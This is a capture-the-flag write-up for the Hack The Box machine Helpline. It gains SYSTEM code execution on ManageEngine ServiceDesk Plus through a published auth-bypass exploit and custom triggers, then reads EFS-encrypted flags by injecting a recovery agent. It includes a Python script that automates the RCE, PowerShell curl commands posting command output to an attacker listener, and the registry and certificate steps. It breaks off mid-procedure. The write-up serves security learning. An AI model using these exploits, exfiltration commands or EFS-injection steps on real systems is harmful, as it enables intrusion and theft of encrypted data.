Helpline @ hackthebox: Injecting an EFS Recovery Agent to Read Encrypted Files

Another great machine has been retired on hackthebox.eu – Helpline by @egre55!

Here is my ‘silly’ unintended way to root the box: You can get both the encrypted user and root flag via the cumbersome web RCE alone – if you wait for a legit user to just look at the file. This is unlikely with the new hackthebox ‘on demand’ boxes for VIP users, but it may be more relevant in real live where actual users are reading their documents!

Summary

The helpdesk web application on Helpline is vulnerable, and you get admin access using a published exploit. You get super excited when you notice you can execute shell commands as SYSTEM. But then you try to read the flags and fail – because both are encrypted using Microsoft’s Encrypting File System. Using hints and breadcrumbs you can obtain credentials to logon as the user tolu and the Administrator. I outline this method at the end, because I needed to ‘simulate’ a second user that looks at the flags.

SYSTEM can import a prepared key and certificate for an EFS recovery agent, as well as add the registry keys equivalent to an EFS (Group) Policy.This agent can decrypt every on the computers to whom this policy has been applied; the symmetric File Encryption Key is provided more than once: encrypted for the owner as well as for the agent.

The recovery settings for individual files ‘kick in’ if another user with a proper EFS certificate and key touches the file. After that, SYSTEM can also read it by decrypting it with my recovery agent key.

This blog post focuses on the ‘EFS hack’. I also wanted to make my life as hard as possible and use only the blind web RCE as SYSTEM – automating it to get output via ‘powershell curl’. Of course, SYSTEM can create an admin user and get a psexec shell because SMB is available – which I used in my ‘simulations’ of ‘legit users’, outlined at the end.

Outline of the hack and contents

Enumerating and getting Remote Code Execution as SYSTEM
Spotting the encrypted flags
Automating RCE and getting output via Powershell curl
Prepare key and certificate files for a recovery agent
Create a recovery policy on a test box to prepare an EFS registry key
The plan – and things that should not work
Import EFS (RSA) key and EFS registry on the box
Waiting for the legit user and reading the flags
Appendix 1: Simulating the user tolu – summary
Appendix 2: Simulating the Administrator – summary

Enumerating and getting Remote Code Execution as SYSTEM [>> Contents]

The following TCP ports are open – for the ‘EFS hack’ I am only using port 8080:

  • 135 – Windows RPC Endpoint Mapper.
  • 445 – SMB. Using the intended (?) way I create myself another admin user and ran  psexec admins shell.
  • 5985 – Powershell Remote Management, WinRM.
  • 8080 – Vulnerable Web Application ManageEngine ServiceDesk Plus.
  • 49667 – RPC High Port.
Nmap scan report for 10.10.10.132
Host is up (0.033s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp  open  http-proxy    -
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Set-Cookie: JSESSIONID=C92480E0FB60CE760F2A42A5DCFDC339; Path=/; HttpOnly
|     Cache-Control: private
|     Expires: Thu, 01 Jan 1970 01:00:00 GMT
|     Content-Type: text/html;charset=UTF-8
|     Vary: Accept-Encoding
|     Date: Tue, 16 Apr 2019 17:02:57 GMT
|     Connection: close
|     Server: -
|     ...
|          
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Set-Cookie: JSESSIONID=09E989E05071F5A9ABBF028D4937D635; Path=/; HttpOnly
|     Cache-Control: private
|     Expires: Thu, 01 Jan 1970 01:00:00 GMT
|     Content-Type: text/html;charset=UTF-8
|     Vary: Accept-Encoding
|     Date: Tue, 16 Apr 2019 17:02:58 GMT
|     Connection: close
|     Server: -
|     ...
|_    
|_http-server-header: -
|_http-title: ManageEngine ServiceDesk Plus
49667/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.70%I=7%D=4/16%Time=5CB618CD%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,25D6,"HTTP/1\.1\x20200\x20OK\r\nSet-Cookie:\x20JSESSIONID=C924
SF:80E0FB60CE760F2A42A5DCFDC339;\x20Path=/;\x20HttpOnly\r\nCache-Control:\
SF:x20private\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2001:00:00\x20GMT\
SF:r\nContent-Type:\x20text/html;charset=UTF-8\r\nVary:\x20Accept-Encoding
SF:\r\nDate:\x20Tue,\x2016\x20Apr\x202019\x2017:02:57\x20GMT\r\nConnection
SF::\x20close\r\nServer:\x20-\r\n\r\n\n\n\n< SF:meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\n\n\n\
SF:r\n\n\x20\x20\x20\x20\n\x20\x20\x20\x2
SF:0\n\x20\x20\x20\x20\n\x20\x20\
SF:x20\x20<link\x20href=\"/style/loginstyle\.css\?9309\"\x20type=\"text/cs SF:s\"\x20rel=\"stylesheet\"/>\n\x20\x20\x20\x20<link\x20href=\"/style/new SF:-classes\.css\?9309\"\x20type=\"text/css\"\x20rel=\"stylesheet\">\n\x20
SF:\x20\x20\x20<link\x20href=\"/style/new-classes-sdp\.css\?9309\"\x20type SF:=\"text/css\"\x20rel=\"stylesheet\">\n\x20\x20\x20\x20<link\x20href=\"/ SF:style/conflict-fix\.css\?9309\"\x20type=\"text/css\"\x20rel=\"styleshee SF:t\">")%r(HTTPOptions,25D6,"HTTP/1\.1\x20200\x20OK\r\nSet-Cookie:\x20JSE
SF:SSIONID=09E989E05071F5A9ABBF028D4937D635;\x20Path=/;\x20HttpOnly\r\nCac
SF:he-Control:\x20private\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2001:0
SF:0:00\x20GMT\r\nContent-Type:\x20text/html;charset=UTF-8\r\nVary:\x20Acc
SF:ept-Encoding\r\nDate:\x20Tue,\x2016\x20Apr\x202019\x2017:02:58\x20GMT\r
SF:\nConnection:\x20close\r\nServer:\x20-\r\n\r\n\n\n\n<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge SF:\">\n\n\n\n\r\n\n\x20\x20\x20\x20\n\x2
SF:0\x20\x20\x20\n\x20\x20\x20\x2
SF:0\n\x20\x20\x20\x20<link\x20href=\"/style/loginstyle\.css\?9309\"\x20ty SF:pe=\"text/css\"\x20rel=\"stylesheet\"/>\n\x20\x20\x20\x20<link\x20href= SF:\"/style/new-classes\.css\?9309\"\x20type=\"text/css\"\x20rel=\"stylesh SF:eet\">\n\x20\x20\x20\x20<link\x20href=\"/style/new-classes-sdp\.css\?93 SF:09\"\x20type=\"text/css\"\x20rel=\"stylesheet\">\n\x20\x20\x20\x20");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -59m56s, deviation: 0s, median: -59m56s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-04-16 19:04:31
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 141.48 seconds

The web application on port 8080, ManageEngine, is a helpdesk portal. Googling give you the default credentials – guest:guest, and you can poke around, find service tickets and potential other credentials in a ‘PasswordAudit’ Excel sheet.

The Excel file contains a hidden worksheet that you can unhide with VBA (like this), but I finally could not use these credentials for anything.

I find different exploits for ManageEngine – this one that works right away:
https://www.exploit-db.com/exploits/46659
https://flameofignis.com/2019/03/30/ServiceDesk-9-3-Auth-Bypass-CVE-2019-10008/

The script outputs the cookies to be used in your session; adding them to a browser logs you on as an administrator context.

As many of these system management portals, there is a way to get code execution legitimately – I used Custom Triggers. To get command execution from this blind RCE I use my Powershell curl method, inserting the output of commands into HTTP POST data.

My manual workflow:

Create the cookies using the exploit script and copy them into Firefox. Typical script output:

Go to the custom trigger page at:
http://10.10.10.132:8080/SetUpWizard.do?forwardTo=externalAutoAction

Create a trigger for my curl command:
cmd /c powershell -c curl 10.10.14.21/test -method POST -body $(whoami)

A trigger reacts to an helpdesk ticket / request being created; I pick a criteria of Category = General.

Switch to the tab / category requests and create a new incident in the category general:

Starting a listener on the port specified in the curl command. Briefly after the request has been saved, a call is received (I used the hostname euservicedesk as a test – not required):

nc -lvp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
nc: connect to 10.10.14.21 80 from euservicedesk (10.10.10.132) 51478 [51478]
POST /test HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.134
Content-Type: application/x-www-form-urlencoded
Host: 10.10.14.21
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive

nt authority\system

To run subsequent commands:

  • Edit the definition of the trigger.
  • Restart the listener.
  • Re-create the Request by replaying the last POST with Burp, at:
    POST /WorkOrder.do HTTP/1.1
    (I did not manage to trigger the command if I only edited the request even if I configured the trigger to react to editing as well as creating requests)

Spotting the encrypted flags [>> Contents]

As SYSTEM you can read basically anything on the disk (running type over the curl RCE), with the exception of a few interesting files in the users’ profiles :-) Running cipher confirms my suspision that the files are encrypted – as the permissions are OK:

Administrator’s flag:

cmd /c powershell -c curl 10.10.14.21/test -method POST -body $(cmd /c icacls C:\Users\Administrator\Desktop\root.txt)
C:\Users\Administrator\Desktop\root.txt NT AUTHORITY\SYSTEM:(RX)                                         HELPLINE\Administrator:(RX)                                         BUILTIN\Administrators:(RX)  Successfully processed 1 files; Failed processing 0 files
cmd /c powershell -c curl 10.10.14.21/test -method POST -body $(cmd /c cipher C:\Users\Administrator\Desktop)
  Listing C:\Users\Administrator\Desktop\  New files added to this directory will not be encrypted.  E root.txt

Same for tolu:

cmd /c powershell -c curl 10.10.14.21/test -method POST -body $(cmd /c cipher C:\Users\tolu\Desktop)
  Listing C:\Users\tolu\Desktop\  New files added to this directory will not be encrypted.  E user.txt

Automating RCE and getting output via Powershell curl [>> Contents]

To make command execution less painful, I tried to ‘reverse engineer’ the actual HTTP POST commands, and run a web server that is capable to deal with POSTs (python SimpleHTTPServer is not).

I create webserver.py, using this script: https://gist.github.com/bradmontgomery/2219997 (see also the comment related how to deal with the post data) and changing the handler for POST:

 
import cgi
...   
...
    def do_POST(self):
        self._set_headers()
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={'REQUEST_METHOD': 'POST'}
        )
        print '==== Command output:'
        print form.getvalue("output")
        print '======================================================================'

The exploit script uses curl though it is written in python, but I just changed the output to a dictionary to be re-used:

authbypass.py = the script from https://www.exploit-db.com/exploits/46659 except…

cookies = {}
# print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m")
# print("JSESSIONID=" + sessidhigh)
# print("JSESSIONIDSSO=" + sessidssohigh)
# print(grbl2[0] + "=" + grbl2[1])
# print(grbl2[2] + "=" + grbl2[3])
# print("_rem=true")

from pprint import pprint

def getcookies():
    global sessidhigh
    global sessidssohigh
    global grbl2
    cookies["JSESSIONID"] = sessidhigh
    cookies["JSESSIONIDSSO"] = sessidssohigh
    cookies[grbl2[0]] = grbl2[1]
    cookies[grbl2[2]] = grbl2[3]
    cookies["_rem"] = "true"
    print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m")
    # pprint(cookies)
    return cookies

The actual script for running a command, cmd.py

In order to run a command ‘blindly’ I prefix a command with b. This is useful if nesting of quotes / special characters gets tricky, and I am not interested in the output anyway – so that curl might potentially just break something. (I do this since my pseudo-shell for Ethereal: Allow either full shell commands or special shortcuts to commands I use often, via prefixes).

import authbypass
import requests
from pprint import pprint
import re
import sys

myip = '10.10.14.13'
baseurl = 'http://10.10.10.132:8080'
# Test with Burp - additional local forwarder
# baseurl = 'http://127.0.0.1:8081'
debug = False

def debughttp(response):
    if debug:
        print '======================================================================'
        print response.status_code
        pprint(response.headers)
        print response.text
        print '======================================================================'
        raw_input('Press ENTER to continue!')
        
def createfullcmd(cmd, blind=False):
    if blind == False:
        # Escape double quotes twice: 1) ManageDesk has them escaped per default --> 2) Escape also here in Python
        fullcmd = 'cmd /c powershell -c curl ' + myip + '/test -method POST -body \\"output=$(' + cmd + ')\\"'
    else:
        fullcmd = 'cmd /c ' + cmd
    return fullcmd
    
def getactionid(cookies, triggername):
    url = baseurl + '/RequestExternalAction.do?method=getAutoActionListView&module=request'
    r = requests.get(url, cookies=cookies)
    debughttp(r)
    find_id = re.findall('"ACTIONID"\:(\d*),"ACTION_NAME"\:"' + triggername + '"', r.text)
    if len(find_id) == 0:
        print '[-] ID for trigger ' + triggername + ' not found!'
        actionid = None
    else:
        actionid = find_id[0]
        print '[+] ID for trigger ' + triggername + ' is ' + str(actionid)
    return actionid

def edittrigger(cookies, triggername, cmd, actionid=None, blind=False):
    fullcmd = createfullcmd(cmd, blind)
    if actionid is None:
        # Create new trigger
        url = baseurl + '/RequestExternalAction.do?method=saveAutoAction&module=request'
    else:
        # Edit existing trigger
        url = baseurl + '/RequestExternalAction.do?method=saveAutoAction&module=request&action_id=' + str(actionid)
    # "trigger": "3" --> create and edit request 
    # "trigger": "3" --> create request  
    #  Open: Did not manage to trigger the action by editing request, even with the GUI 
    items_template = '{"details": [{"name": "' + triggername + '", "desc": "", "trigger": "3", "executiontime": "1", "cascade": true}], "criteria": [{"selcrit": "10", "selcon": "3", "comp": "and", "values": "1"}], "action": [{"exe_type": "script", "executor": "CMDTEMPLATE"}]}'
    items = items_template.replace('CMDTEMPLATE', fullcmd)
    data = { 'items' : items }
    r = requests.post(url, cookies=cookies, data=data)
    debughttp(r)
    print '[+] Trigger ' + triggername + ' has been configured with command: '
    print '    ' + fullcmd
    
def createrequest(cookies):
    # A new request with the same name is created for every command.
    url = baseurl + '/WorkOrder.do'
    # onHoldSet1=&date1%40%40%401=&selectedStatus%40%40%401=&onHoldComments%40%40%401=&linkService=null&createServiceComment=null&linkWorkOrderId=null&requesterName_WO=null&requestServiceId=&reqTemplate=4&templateSite=&FROM=INLINE&status=1&modeID=0&level=0&priority=0&reqID=&reqName=Test2_reqName&group=0&technician=0&incidentService=0&category=1&subCategory=0&item=0&emailCC=&title=Test2_title1&description=%3Cbr%3E&MOD_IND=WorkOrder&FORMNAME=WorkOrderForm&resourcesInfo=&resourceModified=false&resolution=+&addWO=addWO
    data = {
        'onHoldSet1=&date1@@@1=&selectedStatus@@@1' : '',
        'onHoldComments@@@1' : '',
        'linkService' : 'null',
        'createServiceComment' : 'null',
        'linkWorkOrderId' : 'null',
        'requesterName_WO' : 'null',
        'requestServiceId' : '',
        'reqTemplate' : '4',
        'templateSite' : '',
        'FROM' : 'INLINE',
        'status' : '1',
        'modeID' : '0',
        'level' : '0',
        'priority' : '0',
        'reqID' : '',
        'reqName' : requestname,
        'group' : '0',
        'technician' : '0',
        'incidentService' : '0',
        'category' : '1',
        'subCategory' : '0',
        'item' : '0',
        'emailCC' : '',
        'title' : requesttitle,
        'description' : '
',
        'MOD_IND' : 'WorkOrder',
        'FORMNAME' : 'WorkOrderForm',
        'resourcesInfo' : ',',
        'resourceModified' : 'false,',
        'resolution' : ' ,',
        'addWO' : 'addWO'
    }
    r = requests.post(url, cookies=cookies, data=data)
    debughttp(r)
    print '[+] Request has been (re-)created to trigger the action.'

def getrequestid(requestname):
    url = baseurl + '/WOListView.do'
    return requestid

def deleterequest(cookies, requestname):
    requestid = getrequestid(requestname)
    url = baseurl + '/WorkOrder.do?woMode=deleteWO&woID=' + str(requestid)
    r = requests.get(url, cookies=cookies)
    debughttp(r)

cookies = authbypass.getcookies()
if cookies != {}:
    print '[+] Cookies created by authentication bypass exploit:'
    pprint(cookies)

print '======================================================================'

triggername = 'Trigger_Test_111'
requestname = 'Name_111'
requesttitle = 'Title_111'

testcmd = 'whoami'
print '[*] Trigger is being tested with test command: ' + testcmd
edittrigger(cookies, triggername, testcmd)
actionid = getactionid(cookies, triggername)

raw_input('[!] Press ENTER to continue - enter commands!')

print '======================================================================'
print '[!] Note: Backslashes must be escaped with another backslash!'

while True:
    cmd = raw_input('> ')
    if cmd[0:1] == 'Q':
        sys.exit()
    elif cmd[0:2] == 'b ':
        blind = True
        cmd = cmd[2:]
    else:
        blind = False
    edittrigger(cookies, triggername, cmd, actionid, blind=blind)
    createrequest(cookies)

There are issues with too many special characters, e.g. when redirecting stderr to stdin. However, you can always get errors back by 1) Running the command blindly – with b – and outputting to a local file, and 2) Reading the file with type over the RCE.

Prepare key and certificate file for a recovery agent [>> Contents]

… using the cipher tool on a Windows test box. This is a self-signed X.509 certificate including the Extended Key Usage for File Recovery. The corresponding RSA key pair is used for encrypting and decrypting the symmetric File Encryption Key.

Though the common name in the certificate should not matter, I start a system shell as SYSTEM ‘for fun’ using

psexec -i -s cmd

In the SYSTEM shell, I create a new recovery agent certificate and key. The CER contains only the certificate and the PFX file (PKCS#12) key and the certificate. For the EFS hack I will only need the PFX file on the target box, but I will need the CER file to create my ‘malicious test registry key’.

cipher /R:agent_sys

Please type in the password to protect your .PFX file:
Please retype the password to confirm:


Your .CER file was created successfully.
Your .PFX file was created successfully.

Test the password and check the certificate contents:

certutil agent_sys.PFX

Enter PFX password:
================ Certificate 0 ================
================ Begin Nesting Level 1 ================
Element 0:
Serial Number: 61ff1b7d275e028e4b46de447521fe0b
Issuer: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM
 NotBefore: 11.05.2019 23:42
 NotAfter: 17.04.2119 23:42
Subject: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM
Signature matches Public Key
Root Certificate: Subject matches Issuer
Cert Hash(sha1): 2ec203ee87660afb5be0e2b7f099dccdf80e535e
----------------  End Nesting Level 1  ----------------
  Provider = Microsoft Enhanced Cryptographic Provider v1.0
Encryption test passed
CertUtil: -dump command completed successfully.

Create a recovery policy on a test box to prepare an EFS registry key [>> Contents]

In a Windows domain you would create an EFS Group Policy (for computers) containing the certificate of the Recovery Agent. All computers in OUs to which that GPO is applied will implement the agent

The symmetric file encryption key that is used to encrypt the file is then encrypted twice – once for the user and once for the agent. Both can decrypt the file independently from each other.

After the policy has been updated the agent is ‘active’ and will be added to every file that is going to be encrypted from now on. The agent will also be added to existing encrypted files, but only if a user with a decryption certificate ‘touches’ the file by at least reading it!

EFS Policies, once ‘downloaded’, are basically registry keys, so you can inject a recovery agent by modifying the registry key that holds an EFS policy. I create a policy on a test Windows machine using the CER file obtained before, search the registry, and export the (hopefully) relevant part of the registry key. This will be injected into Helpline’s registry.

The name of the …EFS\certificates registry key is the thumbprint of that certificate, the blob is a data structure related to the number of agents (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpef/9b768ff7-fa1f-4b29-b7c9-14110a4ec054) and metadata like the SID of the user (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpef/ccca1504-9e8d-437b-bbe0-036a44e2f756).

Dump of my test key:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS]
"EFSBlob"=hex:01,00,01,00,01,00,00,00,98,03,00,00,94,03,00,00,00,00,00,00,02,\
  00,00,00,78,03,00,00,1c,00,00,00,00,00,00,00,00,00,00,00,30,82,03,74,30,82,\
  02,5c,a0,03,02,01,02,02,10,61,ff,1b,7d,27,5e,02,8e,4b,46,de,44,75,21,fe,0b,\
  30,0d,06,09,2a,86,48,86,f7,0d,01,01,05,05,00,30,49,31,0f,30,0d,06,03,55,04,\
  03,13,06,53,59,53,54,45,4d,31,0c,30,0a,06,03,55,04,07,13,03,45,46,53,31,28,\
  30,26,06,03,55,04,0b,13,1f,45,46,53,20,46,69,6c,65,20,45,6e,63,72,79,70,74,\
  69,6f,6e,20,43,65,72,74,69,66,69,63,61,74,65,30,20,17,0d,31,39,30,35,31,31,\
  32,31,34,32,34,39,5a,18,0f,32,31,31,39,30,34,31,37,32,31,34,32,34,39,5a,30,\
  49,31,0f,30,0d,06,03,55,04,03,13,06,53,59,53,54,45,4d,31,0c,30,0a,06,03,55,\
  04,07,13,03,45,46,53,31,28,30,26,06,03,55,04,0b,13,1f,45,46,53,20,46,69,6c,\
  65,20,45,6e,63,72,79,70,74,69,6f,6e,20,43,65,72,74,69,66,69,63,61,74,65,30,\
  82,01,22,30,0d,06,09,2a,86,48,86,f7,0d,01,01,01,05,00,03,82,01,0f,00,30,82,\
  01,0a,02,82,01,01,00,d6,a0,84,99,39,58,4e,90,2e,8c,d9,a0,95,51,7b,71,b7,b6,\
  54,ca,32,d4,71,e6,9e,bb,d1,48,02,f0,79,c7,9e,28,22,6d,80,ec,5c,1e,05,72,fd,\
  38,90,04,72,d2,a7,c9,0c,20,c6,fd,98,48,40,b2,bb,a4,28,cb,c0,e7,55,8d,b7,01,\
  b9,0c,dc,72,2d,7e,e6,1a,1f,38,cb,a6,64,01,d3,28,53,da,ca,2a,53,3d,aa,72,79,\
  03,c0,89,d9,26,6d,d2,b1,f2,12,67,42,57,87,29,ab,b8,09,5c,c1,6f,be,2c,82,2f,\
  b1,d8,4a,15,59,69,b1,36,9d,b9,d8,dd,a9,a0,87,54,0e,73,44,35,06,06,59,40,e2,\
  33,8f,3a,d5,00,bf,35,d3,13,ae,5b,a2,75,ba,28,fe,41,11,85,f7,2e,17,61,97,54,\
  72,a3,f7,58,90,28,8a,60,75,26,62,e0,37,2f,07,9e,3d,64,38,33,d4,9a,91,90,f0,\
  5a,ad,aa,c8,48,2b,88,b5,b0,3e,55,06,7b,0a,5a,ca,49,11,e4,87,4a,ff,c2,3f,e8,\
  5d,2f,53,99,19,17,9d,fe,61,e8,b9,4c,cc,82,9e,32,7f,55,4e,77,f2,42,8c,be,3e,\
  59,76,3f,3d,6f,80,d7,22,ca,1e,e7,39,2d,02,03,01,00,01,a3,56,30,54,30,16,06,\
  03,55,1d,25,04,0f,30,0d,06,0b,2b,06,01,04,01,82,37,0a,03,04,01,30,2f,06,03,\
  55,1d,11,04,28,30,26,a0,24,06,0a,2b,06,01,04,01,82,37,14,02,03,a0,16,0c,14,\
  53,59,53,54,45,4d,40,4e,54,20,41,55,54,48,4f,52,49,54,59,00,30,09,06,03,55,\
  1d,13,04,02,30,00,30,0d,06,09,2a,86,48,86,f7,0d,01,01,05,05,00,03,82,01,01,\
  00,be,37,83,5e,d6,4a,ff,ce,91,3a,dd,80,a1,8a,66,66,96,1b,13,fc,bf,74,99,94,\
  17,e7,77,f4,80,12,f4,48,48,9a,93,aa,d6,22,03,a9,23,82,57,0c,2d,74,84,38,75,\
  ba,76,3f,c4,38,97,2e,3e,1f,4c,5e,af,ab,8b,31,1a,cc,a3,27,93,89,42,e9,3c,8b,\
  9a,08,8d,14,3c,62,ad,3d,ba,9d,3c,88,06,a3,b8,b6,5f,f5,5f,2a,bb,bb,86,f6,9b,\
  53,db,9e,f5,14,79,9b,cf,a9,d9,c5,1b,8e,d0,58,25,52,c2,33,09,3e,a0,d6,87,0e,\
  12,b5,83,ab,32,b0,58,b7,15,05,ec,03,55,34,36,0d,5a,6e,ef,6e,30,76,f6,8b,6a,\
  fe,13,de,e9,03,e5,c7,c3,c6,a7,8e,f7,9c,02,9f,85,52,a9,7f,de,0f,dc,1c,55,74,\
  5a,9f,94,18,a8,ea,fd,df,0a,50,73,36,e5,bd,f5,28,77,37,bc,f9,4f,fe,12,20,49,\
  0f,10,09,22,10,b6,1e,37,e1,4f,98,c6,f7,b3,be,c7,b1,77,4f,e2,84,2c,b7,c9,68,\
  d2,2e,23,3c,f2,5f,0b,22,0a,84,be,c6,ca,67,84,46,a7,4e,0a,27,6b,02,17,d4,67,\
  2c,67,43,ab,9b,ca,33

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\Certificates]

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\Certificates\2EC203EE87660AFB5BE0E2B7F099DCCDF80E535E]
"Blob"=hex:03,00,00,00,01,00,00,00,14,00,00,00,2e,c2,03,ee,87,66,0a,fb,5b,e0,\
  e2,b7,f0,99,dc,cd,f8,0e,53,5e,20,00,00,00,01,00,00,00,78,03,00,00,30,82,03,\
  74,30,82,02,5c,a0,03,02,01,02,02,10,61,ff,1b,7d,27,5e,02,8e,4b,46,de,44,75,\
  21,fe,0b,30,0d,06,09,2a,86,48,86,f7,0d,01,01,05,05,00,30,49,31,0f,30,0d,06,\
  03,55,04,03,13,06,53,59,53,54,45,4d,31,0c,30,0a,06,03,55,04,07,13,03,45,46,\
  53,31,28,30,26,06,03,55,04,0b,13,1f,45,46,53,20,46,69,6c,65,20,45,6e,63,72,\
  79,70,74,69,6f,6e,20,43,65,72,74,69,66,69,63,61,74,65,30,20,17,0d,31,39,30,\
  35,31,31,32,31,34,32,34,39,5a,18,0f,32,31,31,39,30,34,31,37,32,31,34,32,34,\
  39,5a,30,49,31,0f,30,0d,06,03,55,04,03,13,06,53,59,53,54,45,4d,31,0c,30,0a,\
  06,03,55,04,07,13,03,45,46,53,31,28,30,26,06,03,55,04,0b,13,1f,45,46,53,20,\
  46,69,6c,65,20,45,6e,63,72,79,70,74,69,6f,6e,20,43,65,72,74,69,66,69,63,61,\
  74,65,30,82,01,22,30,0d,06,09,2a,86,48,86,f7,0d,01,01,01,05,00,03,82,01,0f,\
  00,30,82,01,0a,02,82,01,01,00,d6,a0,84,99,39,58,4e,90,2e,8c,d9,a0,95,51,7b,\
  71,b7,b6,54,ca,32,d4,71,e6,9e,bb,d1,48,02,f0,79,c7,9e,28,22,6d,80,ec,5c,1e,\
  05,72,fd,38,90,04,72,d2,a7,c9,0c,20,c6,fd,98,48,40,b2,bb,a4,28,cb,c0,e7,55,\
  8d,b7,01,b9,0c,dc,72,2d,7e,e6,1a,1f,38,cb,a6,64,01,d3,28,53,da,ca,2a,53,3d,\
  aa,72,79,03,c0,89,d9,26,6d,d2,b1,f2,12,67,42,57,87,29,ab,b8,09,5c,c1,6f,be,\
  2c,82,2f,b1,d8,4a,15,59,69,b1,36,9d,b9,d8,dd,a9,a0,87,54,0e,73,44,35,06,06,\
  59,40,e2,33,8f,3a,d5,00,bf,35,d3,13,ae,5b,a2,75,ba,28,fe,41,11,85,f7,2e,17,\
  61,97,54,72,a3,f7,58,90,28,8a,60,75,26,62,e0,37,2f,07,9e,3d,64,38,33,d4,9a,\
  91,90,f0,5a,ad,aa,c8,48,2b,88,b5,b0,3e,55,06,7b,0a,5a,ca,49,11,e4,87,4a,ff,\
  c2,3f,e8,5d,2f,53,99,19,17,9d,fe,61,e8,b9,4c,cc,82,9e,32,7f,55,4e,77,f2,42,\
  8c,be,3e,59,76,3f,3d,6f,80,d7,22,ca,1e,e7,39,2d,02,03,01,00,01,a3,56,30,54,\
  30,16,06,03,55,1d,25,04,0f,30,0d,06,0b,2b,06,01,04,01,82,37,0a,03,04,01,30,\
  2f,06,03,55,1d,11,04,28,30,26,a0,24,06,0a,2b,06,01,04,01,82,37,14,02,03,a0,\
  16,0c,14,53,59,53,54,45,4d,40,4e,54,20,41,55,54,48,4f,52,49,54,59,00,30,09,\
  06,03,55,1d,13,04,02,30,00,30,0d,06,09,2a,86,48,86,f7,0d,01,01,05,05,00,03,\
  82,01,01,00,be,37,83,5e,d6,4a,ff,ce,91,3a,dd,80,a1,8a,66,66,96,1b,13,fc,bf,\
  74,99,94,17,e7,77,f4,80,12,f4,48,48,9a,93,aa,d6,22,03,a9,23,82,57,0c,2d,74,\
  84,38,75,ba,76,3f,c4,38,97,2e,3e,1f,4c,5e,af,ab,8b,31,1a,cc,a3,27,93,89,42,\
  e9,3c,8b,9a,08,8d,14,3c,62,ad,3d,ba,9d,3c,88,06,a3,b8,b6,5f,f5,5f,2a,bb,bb,\
  86,f6,9b,53,db,9e,f5,14,79,9b,cf,a9,d9,c5,1b,8e,d0,58,25,52,c2,33,09,3e,a0,\
  d6,87,0e,12,b5,83,ab,32,b0,58,b7,15,05,ec,03,55,34,36,0d,5a,6e,ef,6e,30,76,\
  f6,8b,6a,fe,13,de,e9,03,e5,c7,c3,c6,a7,8e,f7,9c,02,9f,85,52,a9,7f,de,0f,dc,\
  1c,55,74,5a,9f,94,18,a8,ea,fd,df,0a,50,73,36,e5,bd,f5,28,77,37,bc,f9,4f,fe,\
  12,20,49,0f,10,09,22,10,b6,1e,37,e1,4f,98,c6,f7,b3,be,c7,b1,77,4f,e2,84,2c,\
  b7,c9,68,d2,2e,23,3c,f2,5f,0b,22,0a,84,be,c6,ca,67,84,46,a7,4e,0a,27,6b,02,\
  17,d4,67,2c,67,43,ab,9b,ca,33

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\CRLs]

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\CTLs]

The plan – and things that should not work [>> Contents]

Using the RCE, I can download the exported EFS registry key and and the PFX file to Helpline. I will then

  • import certificate and key to SYSTEM’s ‘user’s’ certificate store (not to the machine store – SYSTEM acts like a user here!) using certutil -importpfx
  • and import the registry key using req query.

If tolu or the Administrator (= a HTB player using the intended way) look at their flags, the files should ‘pick up’ the agents – which can be checked with cipher.

What sounds simpler, but does not work …

Reset the owners’ passwords and logon using psexec (you need to make tolu a member of Administrator for that). On a stand-alone, non-domain joined machine, users are not able to access their own EFS-protected files if a local Administrator resets their password – the reset breaks something about DPAPI! This does only work in a domain! This warning is there for a reason (screenshot from a Windows 10 test machine):

(Note that using the original password you would use CredSSP authentication with WinRM as DPAPI cannot be used unless CredSSP authentication is enabled and you need DPAPI to decrypt the key).

Simply ‘EFS-share’ the file. You can ‘add another user’ = their certificate to your EFS-encrypted file with cipher:

    /ADDUSER  Adds a user to the specified encrypted file(s). If CERTHASH is
              provided, cipher will search for a certificate with this SHA1
              hash. If CERTFILE is provided, cipher will extract the
              certificate from the file. If USER is provided, cipher will
              try to locate the user's certificate in Active Directory Domain
              Services.

However, to do that you need to have access to the file … which SYSTEM does not have … yet!.

Import EFS (RSA) key and EFS registry data on the box [>> Contents]

I run these attack commands, run one after other the other using cmd.py

mkdir C:\\Windows\\system32\\agent33

REM BLIND: Download agent key and certificate
